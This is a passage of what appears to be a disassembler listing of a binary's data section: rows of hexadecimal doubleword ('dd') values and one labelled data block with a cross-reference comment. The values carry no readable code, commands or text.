		dd 0A9040035h, 7D22138Eh, 374B33DDh, 2E8898CEh,	69BEA0CFh
		dd 579BBA3h, 4330D416h,	1B0B226h, 7383AFF0h, 9D6A4005h
		dd 0BC4868C0h, 4BE68CE8h, 0AB214005h, 20AAF113h, 108BF3E4h
		dd 935FA08Bh, 111E6547h, 0E06CF6CDh, 514589h, 8722CAA2h
		dd 8B21F2ABh, 1109DB2Fh, 4BF866A4h, 0FCDD7067h,	0E841D6A5h
		dd 8A0BC1E8h
		dd 8104122Ch, 1F517BCh,	403A87FDh, 3A1E2F20h, 39048D53h
		dd 93F6B185h, 75F9D0C8h, 28019F72h, 78C4F35Fh, 0A0F64A44h
		dd 1B7602E0h, 0FD0EB47Fh, 8565099Ch, 5C00DA82h,	3081A889h
		dd 7CEB4997h, 1C846440h, 45C65B0Ch, 1BBDA687h, 0EDA8483Ch
		dd 0A4F8D504h, 23190E61h, 0DC241D72h, 3A224A1Ch, 0F12344h
		dd 8DAB44B8h, 0E0744C21h, 6082704h, 25AA86E2h, 0C8A8CBC8h
		dd 0A1C1C0D0h, 0B5148120h, 22847CA7h, 0A3D912DBh, 0D8B8E4B7h
		dd 0C3F030F1h, 553061C2h, 3409DD1Bh, 425E5899h,	0D8709FC7h
		dd 895B4F09h, 1D8CA6F1h, 0F3210859h, 0D7441EFFh, 4EE0C3h
		dd 0ED168FF1h, 0E5688B82h, 0ABA1D8C1h, 308B0353h, 0CC40261Fh
		dd 0C8971899h, 252DD660h, 0C20C139h, 6D053541h,	0F800E670h
		dd 69D425D9h, 1CAE0AA4h, 9CB2810h, 0D090C21Eh, 0CA38B41Ch
		dd 6C7F0074h, 6AAAA23Ch, 0C92501E2h, 3D786477h,	30EDE19Eh
		dd 98058F14h, 3B909B83h, 0D917EC09h, 182C7970h,	7F39001Eh
		dd 0B62937B3h, 8F527C74h, 0BC2E26A4h, 0EE02B021h, 57D8FFE6h
		dd 0F891CC1Dh, 2186EE87h, 0F06242A4h, 0AD4B84DFh, 0C24FDCF2h
		dd 0FF0AA984h, 492C8B05h, 0FE7BB80Fh, 0D350641h, 318280C1h
		dd 0CB836F25h, 0D011307Bh, 1393DF04h, 9F2CE40Ch, 1D60E440h
		dd 0AAA6E34Ch, 0A84327E0h, 1929DC0Eh, 0ACA280D9h, 85987090h
		dd 5FE75096h, 260C27C2h, 2616E94Eh, 28B50F5Dh, 0A5B0972Eh
		dd 0B210B310h, 704F30F2h, 54B4C400h, 0CBFB9CCDh, 79735884h
		dd 0FDC1A064h, 430E7AB0h, 6045BBC6h, 0B5AE3AF2h, 0BC4D7919h
		dd 0F55F1730h, 0A7F8239Ch, 7D36C098h, 0B023C8Dh, 839447AEh
		dd 0E004F56Eh, 63D10403h, 0E5B8D4E8h, 8B64018Ch, 7702803Ah
		dd 10003A23h, 51DABC96h, 23ED4BEEh, 3903227Ch, 2359BA7Bh
		dd 39AA8852h, 65920058h, 2BC7AB8Dh, 880B38EAh, 0F0AD5F14h
		dd 708C2554h, 0D7008C51h, 932E4BF5h, 58860825h,	7C84F387h
		dd 4C2E0D8h, 0A1352773h, 2A32B0C0h, 2B2B8089h, 0EF323F0h
		dd 60002068h, 0A99677F5h, 2AAC1948h, 0B212CC7Bh, 140C0CBBh
		dd 5AC7E11Fh, 60684198h, 963BE36Ah, 5C90E751h, 8C9AB5h
		dd 0F7DB37A1h, 0B9B8A7E0h, 0D314AF00h, 31E108CBh, 0A3EB1245h
		dd 2FCCF3BDh, 56C8CA60h, 1930DC34h, 1BCE220Dh, 87E900ADh
		dd 0E28F2889h, 0D4013149h, 0E0C0A8F9h, 9C628B5Ah, 5D041672h
		dd 9B08843Eh, 0FDE3C054h, 7A061Ah, 0C027EB7Fh, 8AEE8998h
		dd 0BE6C9097h, 5AD258E2h, 101B6100h, 43ADCA08h,	0B4496800h
		dd 23C0D75h, 74E59798h,	961E8E4h, 6E59FC14h, 0D9C65325h
		dd 0D1E593F8h, 0E86B5790h, 0E1006481h, 6F0CC005h, 7D3892h
		dd 4BE610F1h, 9B87BFDEh, 3100189Ch, 0F2967E42h,	534F2F6h
		dd 9A04AD8Eh, 7B1F80BFh, 0A617B2D9h, 58132C5Bh,	0B0A77A17h
		dd 25B1FAA0h, 0F132892Dh, 0A321825Ch, 0A4E4F4DBh, 0CDCAC50h
		dd 882B8381h, 0A3022F14h, 0EF67A2D7h, 91A09763h, 0A91A80F1h
		dd 52A5E7h, 0AA74CD39h,	0F4F55B1h, 38901004h, 60B24207h
		dd 59076522h, 7FB2325Dh, 0C09BCD81h, 2F2AE075h,	1DD523DCh
		dd 4F48406Ah, 2061A95Ah, 0A8604A1Dh, 98F3478Bh,	9C27BF4h
		dd 466B492Dh, 41F8A004h, 40A57A03h, 5D78332Ah, 8D0048D7h
		dd 3B064E17h, 0AC932F79h, 7A226464h, 30860949h,	0B87EEA77h
		dd 27611F9Eh, 0E6415C4Dh, 4A615F39h, 3134042Ah,	154FD97h
		dd 1763907Ch, 472AD3C1h, 0A52E4898h, 62A42906h,	30D1E2D8h
		dd 8C120F5h, 8F3F96C0h,	8B0454F2h, 24500330h, 0D8C774A0h
		dd 0FBE70CA0h, 402A5F81h, 15253140h, 0A200FC3Bh, 0F165D1F6h
		dd 0EDE3A012h, 0DA4AA439h, 0BAB6C07Ch, 3AA2D534h, 0CA12DEE6h
		dd 0E0A0A62Dh, 348AC2h,	9F03AA4Ch, 0A770D893h, 57EDCC02h
		dd 6604C38Bh, 84847670h, 91B8959Dh, 0E621842Eh,	71AA05C0h
		dd 4D1E0B46h, 0C0DC22AFh, 3CC142E5h, 660006FBh,	7B121315h
		dd 80BC7079h, 9ED9FC80h, 41034072h, 0C225472Fh,	5EAEE8E4h
		dd 45CC0F59h, 0C9A36696h, 74C96F4Ah, 5001C81Ah,	168F1500h
		dd 857B84FAh, 8894962Eh, 0B4262953h, 0D428CB0Bh, 0A8AAC17Ch
		dd 24A2D838h, 0E720267Ch, 0F4C097F2h, 4B61AB22h, 139CFD41h
		dd 0A5F9F471h, 0BBA34000h, 0A8818B5h, 744295EDh, 0FB09E8E4h
		dd 0A43C297Ah, 0BCB58B58h, 598CCC2Eh, 78CED85Ch, 0BC7DCF01h
		dd 2767C06Dh, 373E2828h, 0D8879315h, 0EC6B5B25h, 58CC889Ch
		dd 2EE70B20h, 7ED8925Fh, 2B00F446h, 8722EE43h, 7B029F8Eh
		dd 339CB9AAh, 8915749h,	59D02039h, 0BD8FD103h, 0E5CEBF67h
		dd 6E5A9CA6h, 5A660370h, 88FBCBF6h, 0AC28F07h, 31738367h
		dd 304A92E8h, 0C6727DC0h, 3B7DF00h, 223A99F5h, 2E402563h
		dd 9D00BC59h, 3815ED88h, 2FB500BEh, 5E6F18FFh, 7C9005AFh
		dd 1798062Fh, 80F291A4h, 73D27A83h, 92F62Bh, 9158417Bh
		dd 352E6023h, 0CE96CB6h, 532C017h, 6D90198Ch, 846CB220h
		dd 60EF922Eh, 81216E1Ch, 2088325h, 747FA798h, 68544928h
		dd 0D84B7791h, 64E4A20h, 1C0D108Dh, 5648D13Eh, 4A270141h
		dd 0AC9C0F6Eh, 5AFC0B30h, 698C67A4h, 266040D6h,	185F1D47h
		dd 50FD5383h, 2CB18B81h, 5BD4F02Fh, 0E5A42DCCh,	887184BEh
		dd 0CF8A308h, 0A05A9025h, 0B04BC3Ah, 6FCCFE5Dh,	8424E9C4h
		dd 0A35B452Ch, 0C9F7C004h, 4EC0A335h, 0E7B99C31h, 6EF0406Ah
		dd 379920D5h, 786BDA13h, 0C4B7404h, 25BC940Ah, 0F2913C9Dh
		dd 0C0278787h, 3CCC03FDh, 0DC5DF30Eh, 582032A6h, 0EAB57Eh
		dd 89E484D3h, 5F352BD1h, 0E805CB30h, 4FFC5Dh, 0F0DA89Bh
		dd 0C609B26Dh, 0E8202260h, 0AC75B7h, 0E4A8CE82h, 40B85F20h
		dd 660C3F74h, 0E1DF9829h, 0C52500FFh, 0D0A864E9h, 4F3A6B10h
		dd 0F0E20131h, 68DF4738h, 3E22B7CCh, 93843067h,	84CAC6EFh
		dd 0F230F244h, 0C0F630E5h, 0D5580B1Ch, 28D48812h, 0E7BB3881h
		dd 7A161079h, 0BE4C0FC0h, 8280528Eh, 5F908C4Ch,	9862248h
		dd 7A94E1DEh, 8090B40h,	0C4727739h, 0E2CB8100h,	0A5A6B9EBh
		dd 19B896DCh, 6BA310FCh, 6084D84Fh, 0FDAC169Ch,	0C2DE7357h
		dd 0ABE7518h, 244E28B4h, 283CAC84h, 261A32F9h, 885E5D58h
		dd 45E8BE80h, 3AE956C8h, 5A7FD7CFh, 60F0408Ah, 8F93812h
		dd 89401556h, 6E0478CAh, 1DA039DBh, 0E9DE82D6h,	9B058506h
		dd 2591FC8Dh, 504260E3h, 0D8BC91FDh, 4CD43C5Ah,	27A4B02Ah
		dd 0A044D021h, 941C30C8h, 0C3A83496h, 88A0EF85h, 0D9C71DEEh
		dd 0E6EA3D0Ch, 7248D108h, 81060219h, 0E884E2DBh, 0BC23D879h
		dd 306DC6C4h, 78C1AE7Eh, 0CBDA13CDh, 1C200821h,	0BFA8AB1Ch
		dd 2FFC508Bh, 14C85804h, 0A9C827E7h, 439C44CEh,	83C9F189h
		dd 4CE9488Ch, 0FC6712h,	0DF21B1E4h, 300784EAh, 0CD4A4FE6h
		dd 20702119h, 11EF68E1h, 7E5A480h, 0BDD7BF79h, 203436C5h
		dd 32C1F031h, 1D88C27Eh, 8C5E9C4Ah, 0BBC7D600h,	2F8EDA08h
		dd 0CCDA0623h, 7126CB2Dh, 0B3245D50h, 0F5091026h, 5FD483E6h
		dd 0BE1018CEh, 0F64B08D8h, 0B3F018C4h, 10542B06h, 3185BD20h
		dd 9008BF0Ch, 0D65101A5h, 8CEFA201h, 8F99C28h, 41740C7h
		dd 40A71940h, 34403C2Ah, 43374067h, 406A1640h, 18645C03h
		dd 8A042E41h, 24110401h, 6053E04h, 4089836Dh, 5B66C5A8h
		dd 20695418h, 697D53D0h, 81554680h, 72918813h, 3F610C4Ch
		dd 0F480C199h, 5B50C6B7h, 0E33108C0h, 5C2D18E7h, 29C20899h
		dd 81BD76Dh, 0F328CAFCh
		dd 870819B6h, 72B315Fh,	3118DF76h, 0DD08A3D6h, 0C1188C29h
		dd 62B208C4h, 0EB0418AAh, 0AC5EBA05h, 3A5D1933h, 0AC06131h
		dd 0B088CE1h, 659C2081h, 44AE08ACh, 1C4A47ACh, 0CE0DA1F3h
		dd 38532008h, 72906054h, 0E8B311C4h, 4216F04h, 0C70C4ED4h
		dd 19C473D9h, 3406EDF3h, 96320849h, 0A31F20D2h,	31FE4A98h
		dd 0A7C14118h, 8A801DAh, 1481501h, 0C0359B1h, 0B5070918h
		dd 81566628h, 5F7992FDh, 2FF54044h, 3F61BF0Ch, 6203B040h
		dd 0BE451050h, 19D14703h, 21D5FB08h, 0F28C011Fh, 0E0B7088Ch
		dd 1E35A18h, 1088B986h,	40193BB3h, 9852CF31h, 0E62C49DAh
		dd 0C1184C13h, 1218C735h, 1BEE801Ah, 92320B80h,	0D9276654h
		dd 93200858h, 0E0715457h, 85E8A841h, 0E048CC9Ch, 0A1DF0479h
		dd 2D2AEAD0h, 0E95364CCh, 0CC5C92F2h, 51712849h, 182A2A0h
		dd 62025E61h, 0F7060049h, 0C88A1810h, 7BEC4073h, 4520AC92h
		dd 0E45D5418h, 10E96419h, 0B98897C0h, 39676826h, 10B24031h
		dd 0CD0110FFh, 83088D0Bh, 2824D12Ch, 8C36502h, 9FDC4BABh
		dd 66CA3C0h, 0BFAA10C4h, 8CF4760Ah, 2918F185h, 32082862h
		dd 73A50354h, 7BC2019h,	6301FC69h, 0A2C90751h, 2FA993Ch
		dd 0D90315C2h, 801810BAh, 0AEAC1821h, 80F56F10h, 0F492EEE3h
		dd 6461D940h, 91911023h, 14DDA98h, 208CA96Ah, 5641DDE8h
		dd 23E64C25h, 89593448h, 0D02853BFh, 615CC503h,	100052D7h
		dd 33864C11h, 3DC7E8FCh, 311335BFh, 5DC44081h, 0B99E0EF7h
		dd 0DF463E00h, 22D5477Fh, 2B1A0734h, 0BEF96A5Fh, 80B825F6h
		dd 0F7A6E098h, 6D1F3D00h, 1220A2B4h, 848707D6h,	0C20FDF7Bh
		dd 64F8ABC1h, 2BF2BD00h, 3CFA6457h, 0B58C3F3h, 0C3C7B993h
		dd 0A080C296h, 721704DDh, 80FC0CE7h, 5F693803h,	0DA99A6C4h
		dd 7BE88727h, 0EDA068DDh, 0F0B1D910h, 9408A0C5h, 604A2C5Fh
		dd 0DDCC809Ch, 6DB1BCA7h, 0F4B7B02h, 5C41E018h,	0D4702DC8h
		dd 522F9002h, 551AC3DEh, 0DC060F40h, 567093Dh, 57E6C105h
		dd 38BCB012h, 0FA312C00h, 90FE323Fh, 5F513C06h,	2503D7Ah
		dd 0ECBE0475h, 0ABD5E47Eh, 0CCD0BCh, 0B7A8A19Ah, 0CD635A4Eh
		dd 0DD33E717h, 4C7E3400h, 0C094E60Ch, 0B62798F1h, 24005B31h
		dd 65AA331Ah, 181995FDh, 687DCB5Fh, 4127C923h, 0D8600B25h
		dd 66310074h, 2790423Dh, 5C30E7C4h, 0A6DD8096h,	0D62B00F6h
		dd 70ED94D5h, 0E61828EFh, 2920A8D1h, 0E77E2817h, 0A0C2FDF9h
		dd 0F6BEFC8Ch, 1F8F00F8h, 0DBE2BDE4h, 1405CCA8h, 8680465Ah
		dd 0F8081296h, 5798C1BCh, 0E0090F34h, 87008AE3h, 0FB90C5F2h
		dd 7CE67E50h, 64C800E0h, 3134B7DAh, 580A80AAh, 0D404A581h
		dd 0E645D71Ch, 8D099C3h, 0F21A0C5Bh, 59A9C046h,	9702095Eh
		dd 0C5E30D17h, 0AD45B45Ch, 0E4078104h, 0C849BAA7h, 3A241D9Ch
		dd 0C83B2Ch, 4B8E0C40h,	0D65CB417h, 5004D05Eh, 3C808434h
		dd 50ABE632h, 559CCE8h,	4C25E55Ah, 639806E1h, 644B19D8h
		dd 0A166F8D1h, 30E6C074h, 5B20EBA9h, 88001A74h,	0C60304BDh
		dd 6111A4A6h, 43FA3178h, 0D0890227h, 483251D0h,	30E7BBF0h
		dd 42108D9Bh, 0F0AA3992h, 0D9C1C081h, 3EA42304h, 0BDE128Ah
		dd 81C13420h, 0C30D133h, 5031CE85h, 0CD80601Ch,	7CF0BE1Ch
		dd 0A1489490h, 45F0F24h, 0C421B21Ah, 32004AC8h,	0B5043CE9h
		dd 0F59A427Bh, 40AC910Ah, 7EED100Eh, 403CE254h,	50A74640h
		dd 0FCE614BBh, 0C194A0CFh, 0E02AEB43h, 98C8EABCh, 0DF08495Ch
		dd 0A07C3CE8h, 305F9028h, 332041B0h, 4825213Fh,	0A24A5F7h
		dd 498A1405h, 48F06CB0h, 0EC040C80h, 80F89DE6h,	6D79218h
		dd 2100D3B0h, 353A3451h, 1B42A6h, 81DD2A46h, 0A3E30485h
		dd 0D450BD63h, 53103EADh, 8CA08640h, 48E9F083h,	0BE1EA5DCh
		dd 0FC295B0Ch, 49F0AC20h, 0F32B0A12h, 8C370800h, 508FD8BFh
		dd 0EE5F1C1Bh, 80549913h, 210CE2A5h, 9C771A2Ch,	0FB5A81Dh
		dd 0D5F94181h, 68E04A0Eh, 2C134D3Ah, 8901424h, 941522BCh
		dd 0DE119EE0h, 384BA810h, 21E38A26h, 8D0084F5h,	305784Eh
		dd 0A0514CEBh, 1DE4AD00h, 0F55919FAh, 74C68E00h, 5F2573C2h
		dd 9C4ED6h, 675AEED8h, 0C131397Ch, 84C2C960h, 2AE07C30h
		dd 78E063B8h, 445F1824h, 0E2D38A5h, 975EE478h, 0DE7EDCC0h
		dd 0F11C000Fh, 0E6D5EA27h, 8C907377h, 901A8E29h, 137E3F88h
		dd 0B341E2Ch, 0CC685B6Fh, 7B4C04D5h, 244F4A1Ch,	0A588797Dh
		dd 26C10430h, 5DC712Dh,	0F2F438Bh, 0C8E137E0h, 0BE8EDF5Fh
		dd 1C017498h, 2077B84Ch, 88207ED7h, 0DA3C13DDh,	0D5E40046h
		dd 5DCAE842h, 79355F40h, 56E31921h, 623F789Dh, 88922264h
		dd 89A5D4C0h, 0C07B1168h, 0C572092h, 83208674h,	8A8CEF00h
		dd 3123F29h, 6985BE3h, 0E1AD8874h, 803BDD45h, 6D9A2E8h
		dd 0A0EC5Ah, 47363A3Ch,	82986596h, 6040865Ch, 9100248Fh
		dd 46261F77h, 1432FA03h, 8887E0C1h, 3492D30Fh, 27A7D0A3h
		dd 0C7FEEBE0h, 2F75C414h, 0ADF500A4h, 26AC1A90h, 0C29200B6h
		dd 5FE22735h, 9CA09605h, 0C89011FBh, 0C8FA6B29h, 0E627D030h
		dd 7C589756h, 0E318E8ACh, 0B5A125C6h, 548DF204h, 8CF4D9h
		dd 6CE38FD2h, 6E1E1449h, 222DB0C9h, 646AE69Ch, 5C351688h
		dd 0C1782010h, 6C9A0878h, 89009090h, 223DC3E0h,	5566E371h
		dd 0E851A4B5h, 30207D14h, 0E0950B3Bh, 0B2406Eh,	0E37B5401h
		dd 4B37C077h, 0B863D93Bh, 0B849E8DBh, 0C586250Eh, 348CB5A7h
		dd 7524131Eh, 7C340B14h, 22BFFC00h, 4368212Bh, 0C141E0E8h
		dd 6C243208h, 0F6D10266h, 0FC862B49h, 9017906Ch, 2423241Ch
		dd 5FA00578h, 48D98930h, 861CDDB4h, 83B4183Eh, 0EF373018h
		dd 54E61C30h, 0EF4C070h, 0F3BAC866h, 80C27E80h,	0CE3BC449h
		dd 52E241Fh, 5E795F06h,	687D6878h, 802CA4A4h, 56E2DD91h
		dd 550BD915h, 0D0A4E634h, 0D33300ACh, 8BB29DFFh, 6700FCDFh
		dd 96D22395h, 1C84B7A7h, 0C14FC08Fh, 430F3FE8h,	81D7F0D9h
		dd 2F82DF1Eh, 0DE58C189h, 0E6D80348h, 0F800AA2Bh, 0B04D620h
		dd 0B075BEF3h, 0BF962454h, 69420598h, 0EAFC485Ah, 10839D0Dh
		dd 40471860h, 0AC998E59h, 1F01E085h, 7816F035h,	0C13A1890h
		dd 0F65DAFh, 0BD689300h, 0E78F6246h, 7425D0F1h,	32A82A00h
		dd 9510B259h, 7B2400FDh, 19ECB7C9h, 82B0D907h, 11B8E135h
		dd 882D5440h, 31E7DCBFh, 5F88F197h, 2139F01Ch, 0CA7B4612h
		dd 15F00431h, 96D89304h, 6130D900h, 0B191DF64h,	0FFCF01ACh
		dd 0DCE2BB21h, 5908C867h, 3803B67Bh, 54E6E98Fh,	1FF91D4Eh
		dd 95AE8B01h, 0AC83F08Eh, 0AB05F56h, 607E167h, 44C9A797h
		dd 8E0BAFF0h, 70F713EAh, 0B410004Eh, 1E12C131h,	973A90DEh
		dd 0BC44A72Bh, 950A3351h, 12E02C94h, 0EBF0054Ah, 34E080DBh
		dd 0AA056148h, 81C97783h, 57209492h, 0CDC58C0h,	0BC095F2Ah
		dd 88347B4Ah, 91745CD1h, 0A0C03100h, 1F0D2307h,	85BE2F3Dh
		dd 0AC523045h, 0F5948455h, 6C715C16h, 9C20F481h, 103E65CFh
		dd 0A54CC94h, 34B8BD51h, 0CE20E7C8h, 0D07C4D07h, 0F555420Bh
		dd 0E081A4A9h, 208ACAC1h, 0D02E2738h, 338FF02Dh, 0A86A77Eh
		dd 0E0D3A732h, 0B3B164h, 7B26FCCFh, 0D22E25E7h,	5F193301h
		dd 452140FAh, 0E8232421h, 62905D26h, 3C019EBDh,	0C8614121h
		dd 8D871401h, 0B4322308h, 923880F6h, 59404478h,	6931BC86h
		dd 0F1E646F1h, 96488039h, 0F7BFBC3Fh, 593CF6D3h, 1D21B864h
		dd 0A402BD0Ah, 122734E0h
		dd 805CE05Fh, 7100B290h, 0FB8F616Eh, 26F5874h, 0E7A8B19Bh
		dd 0C40F0FAh, 84B91CA7h, 34352C00h, 71EF6FEh, 0D365D786h
		dd 36F740ABh, 5B2405C1h, 0CD8FC410h, 0D01E4ABAh, 6727EE00h
		dd 18B3935h, 2239437h, 0D4139E45h, 3C2C88DFh, 0BD14AA38h
		dd 0BF8B02D0h, 891E8FD5h, 8CD03164h, 31E33860h,	88F042D2h
		dd 1382CCDh, 0E7E607DDh, 2503A2h, 8520D037h, 0BF87EB01h
		dd 9A52E7D9h, 0FBB3DC51h, 1C160770h, 0A56327E3h, 0BCA52CB0h
		dd 74A70C24h, 42197A98h, 215963h, 34743517h, 0C92CB1FCh
		dd 8C483033h, 9B2F5F13h, 0B0C0EC1Eh, 0E6E8A67Bh, 5C1A88C7h
		dd 0FDCFFC17h, 2047E809h, 5F091EACh, 58376752h,	0ED11832Fh
		dd 7022C7D9h, 21093E5Ch, 99CF7B47h, 9F2EA44h, 2F3558A0h
		dd 69052124h, 8581E32Ah, 86D69420h, 461FDC2h, 20F6DC01h
		dd 5D1F3885h, 0DD4882Ch, 378E8240h, 0F589B15Fh,	0CE0A8D4h
		dd 20A317E6h, 6F549492h, 0C0B1F885h, 0E7F04190h, 0EF887F0Eh
		dd 60B9A07Eh, 12116C0h,	13DC337Ah, 2418AA5Fh, 80810C78h
		dd 0A775C63h, 7F16E347h, 2F4007C8h, 83641008h, 0E712AFBFh
		dd 0F470B065h, 821059A4h, 0B8257C43h, 17580029h, 8AC094h
		dd 54162243h, 67A4936Ah, 1C8E3600h, 1BADE007h, 37C62E27h
		dd 8C283E14h, 2C812498h, 0FBFC08C0h, 0F4263302h, 0F08EE9h
		dd 59FD511Eh, 411A3A5Eh, 26E6EF8Eh, 0C34C4133h,	3443EC5Fh
		dd 0C500E198h, 84BB4B20h, 943A316Bh, 862CA634h,	0D075F2E6h
		dd 3DE1231Eh, 3EA4B415h, 0A9E85096h, 862028C4h,	59EF6CE0h
		dd 0D8454C2Fh, 0DD00F2DDh, 0FB3E3EABh, 8F9D94BBh, 0E18C0280h
		dd 83528EC1h, 0E7AFB190h, 0F00FA600h, 0BFA71C86h, 5245C217h
		dd 7860C8CFh, 0D00097E3h, 5924CD2Bh, 0EE8E2Fh, 6F2748FBh
		dd 9B09DD6Ah, 64B06774h, 851E6100h, 0E27B49EDh,	0FF0203F0h
		dd 7476C133h, 2A1702Dh,	0C48FD208h, 0E70E0BDCh,	10830CEAh
		dd 18A6915Fh, 2C4BFB3Ch, 0C1C23024h, 68015550h,	7FB465D5h
		dd 9BE6EC03h, 1BF11240h, 3361386h, 0A0A62228h, 0D5190EE8h
		dd 23B8E617h, 12AE4848h, 0FA300B1Bh, 313F1810h,	0D301327Bh
		dd 0ADB6A63h, 58D4898Bh, 2723008Ah, 49E60192h, 0DFF66506h
		dd 63590900h, 1BE41EFBh, 91AB35E3h, 0D4190160h,	2C7BE62Fh
		dd 8F8901E8h, 0D0431718h, 0B99825ECh, 0B8A7426Ch, 8C986C66h
		dd 0E19C325Ch, 0C7FBACC2h, 0EC19E331h, 1548122Ah, 0E03BE8F4h
		dd 0E3A4024Bh, 29DFF20Eh, 427040FCh, 21224F6Bh,	2524573Ch
		dd 0D81C443Ch, 2C09D718h, 80EC31E6h, 68E08DFCh,	380275Fh
		dd 7EEB2C82h, 0C1056059h, 0F0084916h, 58A71A77h, 834CFC02h
		dd 30C1E905h, 5F01C8A9h, 0E0384C24h, 0EC3FD32Eh, 56F35F61h
		dd 0A6D00E00h, 7D03F27Ah, 95E3A1DEh, 87D82CF0h,	0A98D0300h
		dd 0BFC8C298h, 0C500A7C6h, 3E1746B3h, 5CBDEF26h, 14A22012h
		dd 3F0028D3h, 0D73B9732h, 0B9771C5Eh, 31708438h, 39D8BC06h
		dd 2AD4C047h, 16801F6Eh, 0CD7BFB5Fh, 0F063610Ch, 4000DCBFh
		dd 0AA182F32h, 0ADE57A9h, 0FE0CF7E7h, 939137Ch,	0A4ABE648h
		dd 26502800h, 904A521Bh, 81C26h, 0D05FF48Ah, 38E324FDh
		dd 21C4949h, 0F651B6FCh, 0A76C6185h, 10E88102h,	0CCB93AF0h
		dd 79D5C147h, 0A1F8C400h, 2E5FD01Ch, 8C042BBCh,	7860FFCEh
		dd 28672A40h, 4DD4D201h, 0D104821h, 0C4310772h,	2760E198h
		dd 9CA581BFh, 0A78DC264h, 18A05063h, 0C1244CA8h, 29BE3842h
		dd 0C026B8E2h, 3394668Eh, 18D1C88h, 0F8F371DFh,	86EFE467h
		dd 1A3AC180h, 0D1CB0041h, 0E788A004h, 70CE8501h, 8D24E035h
		dd 0F7BC427Ch, 1ACD6081h, 68CA83C1h, 0E7C70540h, 0B8C8767Dh
		dd 1C160E18h, 8F2D6613h, 0FF707081h, 0CF103B60h, 0F6C826C6h
		dd 0BE6124F3h, 0C2B21DABh, 1CBDC140h, 5F888C79h, 10668D51h
		dd 132C3CE1h, 58D4F481h, 186080F6h, 0CF6FE6D4h,	0EA9130C9h
		dd 98284074h, 0E7E462h,	0CF14E37Eh, 53D912F7h, 1E00297Dh
		dd 595C3AD2h, 24F3B5h, 0CB7EFE97h, 11701F36h, 0D86BD926h
		dd 8F113318h, 15F6245Fh, 0AAEF8008h, 593266DFh,	2900B771h
		dd 0C1FB3517h, 16A92794h, 4F1104E7h, 7A4C5FE4h,	8D02F738h
		dd 0E7523D77h, 0F4686817h, 0BCC8067Ch, 0D82D15C4h, 0E5C7A800h
		dd 8F40655Ah, 7E7101C2h, 0E120B2C9h, 870DE190h,	89D8AE10h
		dd 0E364F4A0h, 71C9EAAh, 8721F7CEh, 97103CE6h, 0A8DD0B00h
		dd 0FC60192Dh, 0E9300039h, 1BC5F646h, 9506244Dh, 0A9A0E333h
		dd 1A8F0C30h, 307835D7h, 22405800h, 0EBE07870h,	2108C452h
		dd 6CB0E565h, 0C9A80448h, 0F487DA36h, 3CF542E1h, 4E8F2D2h
		dd 27595FCCh, 9CCE2DAh,	18A95066h, 0BE68318h, 0FFC9342h
		dd 36333491h, 8BDE01E8h, 0CCE7613Bh, 8E440B3Ah,	70951C61h
		dd 5924EABCh, 79400C66h, 0F7A1DDCAh, 2DD80030h,	54894EE6h
		dd 0C67B4CE0h, 5705B491h, 1488FA62h, 920E7067h,	1A0C00D8h
		dd 78029794h, 5009A917h, 0A55AFEE3h, 504B201Ch,	70381AB7h
		dd 90FA59A4h, 4AC4CC49h, 40B63546h, 0D194245Ah,	6F6CC1ECh
		dd 0CF40FC00h, 0B635A31h, 7543E7BBh, 0ECB47444h, 32C13684h
		dd 9ED518F0h, 1E3565B0h, 0E7E1022Ch, 80E0B87Ah,	0E89E655Ch
		dd 2CB84449h, 1382C5Bh,	20FA6157h, 139C60B6h, 0B120D090h
		dd 0B4909008h, 55B44220h, 6CBCA700h, 23961D7Fh,	50A4D8E6h
		dd 0A09B50D9h, 319DBF8Ch, 0A3A907E1h
dword_4E414C	dd 9B279B91h, 0E31EBCC5h, 3E924C2Eh, 62BD38D2h,	4DA00994h
					; DATA XREF: ___:off_43A188o
		dd 302CC8h, 335C0E1Ah, 490B18Dh, 0BC8955Ch, 812967F1h
		dd 17EB20BCh, 3ED68BCCh, 591FD293h, 6A003D3Dh, 0A7D84F4Eh
		dd 0D90F60E4h, 49E7A325h, 920C01D6h, 7AC496D7h,	35630039h
		dd 61269E33h, 0E30BAA45h, 841FAEE8h, 0D4D8F194h, 83D82AE6h
		dd 1AB500DCh, 2C2F0B26h, 0F91F3391h, 7E0F4CAAh,	0D9BAE3F6h
		dd 6EEE99C8h, 0C6FC70h,	8171C501h, 18863455h, 5BC194A8h
		dd 8AF540h, 0C932411h, 19B6D67Bh, 0DD132D00h, 0B9B7605Bh
		dd 23CE0F27h, 30C4DAC5h, 0D81CA494h, 0A86D9500h, 86E75D64h
		dd 0EE88929Fh, 47404AFAh, 8BB98FA4h, 4721A418h,	0DA02B0A2h
		dd 0B46063ABh, 8300CE90h, 95E6FB96h, 0F8E586D1h, 90309161h
		dd 260CC8DDh, 0C0A7A088h, 2F5F8119h, 0C0918467h, 25252024h
		dd 9080888Ch, 741FE3h, 0C10EFE27h, 0D999C45Fh, 6142D0B1h
		dd 27EE005Bh, 245EC590h, 8FD2B400h, 170B68F8h, 0E0716707h
		dd 0D8B821F8h, 15C13208h, 0E6D50324h, 68487188h, 25F01068h
		dd 951A1400h, 66CB782Ch, 2D01C598h, 0DB20B99Bh,	0D3BFDE7h
		dd 0E928A9A8h, 8E2830CEh, 0D540B89Ch, 6734E62Dh, 6053299Ah
		dd 22BD8226h, 0E6F8A295h, 61D04AC4h, 342CFE38h,	0C68E3400h
		dd 76D40EB3h, 0DDBBAA01h, 26116883h, 0A0E33420h, 49ECE608h
		dd 4E06BC19h, 905F0281h, 0F08E3F02h, 0E6E03365h, 22E31714h
		dd 2A5444A3h, 2C0052DEh, 0B7C0E987h, 2A887438h,	98A489E0h
		dd 0F6CBF8D4h, 9F5F10E2h, 81085001h, 34331009h,	0E64C0119h
		dd 0C880B26Dh, 0DB7EE398h, 0AF099D77h, 0B35924CCh, 2D4AB020h
		dd 0BDEC1486h, 709D840Ah, 0C170EB16h, 8802224Ah, 0F94D8CE0h
		dd 0D7BF019Ch, 23D6C268h, 783A2618h, 88DF80C9h,	1759688Eh
		dd 0F3C10AEh, 188440D0h, 0C2801F21h, 0CB8B58ACh, 31B30927h
		dd 10FA908Ah, 14E77B07h, 0D9301B38h, 95ADE367h,	8F31BC80h
		dd 5E30E6D6h, 11271082h, 0EFBD00EDh, 0E7B3B2DDh, 98C0D194h
		dd 136A907Ch, 82F971C1h, 73EDA660h, 29E56CB8h, 0EC8E80A0h
		dd 27A441CCh, 9C001F92h, 43942558h, 54ADD513h, 0E62DA809h
		dd 0B97704D0h, 0C1161E7h, 58CB9805h, 5FA0549Dh,	0A89E10D5h
		dd 1EC23C4Ah, 8FA8C914h, 2D7C2890h, 0E4089193h,	908C67F0h
